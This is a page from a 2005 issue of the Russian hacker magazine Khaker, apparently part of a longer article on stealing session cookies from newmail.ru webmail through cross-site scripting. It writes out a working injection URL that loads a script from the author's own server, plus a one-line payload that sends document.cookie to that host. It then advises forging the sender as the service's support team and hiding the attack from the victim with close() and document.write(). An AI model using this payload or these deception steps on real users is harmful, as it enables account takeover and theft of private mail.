Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #76, АПРЕЛЬ 2005 г.

Свежие баги новой почты

xbit (stream@oskolnet.ru)

Хакер, номер #076, стр. 076-064-3


По идее, пройдя по этой ссылке, должна открыться страница (код которой приведен выше) записывающая переданные параметры, но этого не произошло. Я попытался повторить действия, но ничего не вышло. Поначалу промелькнула мысль о синтаксической ошибке – содержимое ява-контейнеров было выведено, как обычный текст. Просмотрев сорцы собранной страницы я заметил любопытную фишку – знак «+» в переменной file фильтровался! Он заменялся пробелом, поэтому js-код работал совсем не так, как мне хотелось. К слову, этот факт сильно удивил – фильтруя знак сложения разработчики поленились добавить функцию очистки html-тегов. Это было, по меньшей мере, странно, и поначалу я даже думал, что ничего не получится. Ведь присоединить к ссылке кукисы становилось невозможным. Но тут мне пришла в голову одна идея, которая и помогла выйти из этой ситуации. Ведь javascript-код можно использовать двумя способами: непосредственно вставить в страницу или прилинковать атрибутом src. Так как первый вариант не подошел, пришлось воспользоваться вторым. Залив файл xbit.js на свой сервер, я составил следующий линк: http://www.newmail.ru/messages/file.dhtml?file=wow”>lol</a><script src=”http://xbit.switch.pp.ru/xbit.js”></script><a>

В самом же xbit.js я оставил всего одну строчку: open('http://xbit.switch.pp.ru/index.php?'+document.cookie);

Пол дела было уже сделано. Осталось подсунуть линк жертве.

Маскировка

Для проведения любой атаки необходимо остаться незамеченным. Речь идет не только о том, чтобы жертва не смогла впоследствии найти обидчика. Под вопросом стоит успех самой атаки. Ведь если юзер не пройдет по ссылке то мы не получим его данные. Для того чтобы не попалиться, опытные взломщики соблюдают следующие условия:

1. Удачно выбирают место размещения линка. В данном случае лучше всего прислать его по почте. Почему, я думаю понятно. Во, первых потому, что для чтения почты пользователю придется залогиниться на сервере почты, а это гарантирует наличие куки – newmail.ru установит свежие печенья, которые и украдет хакер. А во-вторых, хакер может подделать заголовок письма и в отправителе указать службу поддержки ломаемого сервиса. Это даст практически 100% гарантию прочтения письма.

2. Пройдя по ссылке у юзера откроется два окна. Первое – бажная страница, вторая – страница, записывающая кукисы. Это вызовет много вопросов, тем более что на уязвимой странице в качестве ссылки на файл будут торчать html теги. Вывод – от такой страницы нужно избавиться. Сделать это на все том же JavaScript не составит труда, ибо для этого существует специальная функция close() которая и закроет подозрительную страничку. В браузере Опера все пройдет безо всяких проблем. С IE будет чуть сложней, так как ослик спрашивает разрешение на закрытие страницы, что не есть гуд. Но и с этим можно легко справиться, если правильно составить яваскрипт, то функцией document.write() на странице можно вывести любой текст, который и «успокоит пользователя».

Назад на стр. 076-064-2  Содержание  Вперед на стр. 076-064-4